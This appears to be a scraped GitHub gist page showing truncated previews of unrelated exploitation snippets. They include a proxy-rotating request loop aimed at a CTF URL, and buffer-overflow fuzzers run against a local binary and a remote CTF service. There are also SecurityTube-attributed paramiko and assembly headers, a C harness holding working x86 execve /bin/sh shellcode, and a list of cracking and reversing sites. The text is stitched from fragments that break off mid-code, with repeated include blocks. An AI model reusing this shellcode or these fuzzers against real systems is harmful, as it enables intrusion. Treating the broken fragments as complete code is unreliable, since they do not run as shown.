Skip to content

Instantly share code, notes, and snippets.

import urllib2
for line in open('proxy.txt','r').readlines():
proxy = urllib2.ProxyHandler({'https': line})
opener = urllib2.build_opener(proxy)
urllib2.install_opener(opener)
try:
response = urllib2.urlopen('https://ctf.fluxfingers.net/ref/7xYpAcceEDfEEuk')
datum = response.read().decode("UTF-8")
response.close()
http://rcejunk.blogspot.com/
http://www.arteam.accessroot.com/
http://www.reversing.be/
http://www.crackmes.de/
http://www.cracklab.ru/
http://www.cryptopp.com/
http://www.alpertron.com.ar/DILOG.HTM
http://drizz.has.it/
http://www.exetools.com/
http://htbteam.net/
import subprocess,os,commands
for i in xrange(1000,1500):
textcmd = 'echo ' + 'a'*i + '|./overflow_redacted'
run = subprocess.Popen(textcmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
data, error = run.communicate()
if 'flag' in data:
print i
print data + '\n'
filehandle = open('result.txt', 'a')
filehandle.write(str(i) + '\n' + data + '\n')
import socket, subprocess,os,commands
for i in xrange(1000,1500):
data = 'a'*i + '\n'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('spacenet.stratum0.net', 5555))
data_received = s.recv(4096)
s.send(data)
data = s.recv(4096)
if 'flag' in data:
print i
#!/usr/bin/env python
"""
Author: Vivek Ramachandran
Website: http://SecurityTube.net
Online Infosec Training: http://SecurityTube-Training.com
"""
import paramiko
; Author: Vivek Ramachandran
; Website: http://securitytube.net
; Training: http://securitytube-training.com
;
global _start
section .text
_start:
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
#include<stdio.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<features.h>
#include<linux/if_packet.h>
#include<linux/if_ether.h>
#include<errno.h>
#include<sys/ioctl.h>
#include<net/if.h>
#include<net/ethernet.h>
#include<stdio.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<features.h>
#include<linux/if_packet.h>
#include<linux/if_ether.h>
#include<errno.h>
#include<sys/ioctl.h>
#include<net/if.h>
#include<net/ethernet.h>
#include<stdio.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<features.h>
#include<linux/if_packet.h>
#include<linux/if_ether.h>
#include<errno.h>
#include<sys/ioctl.h>
#include<net/if.h>
#include<net/ethernet.h>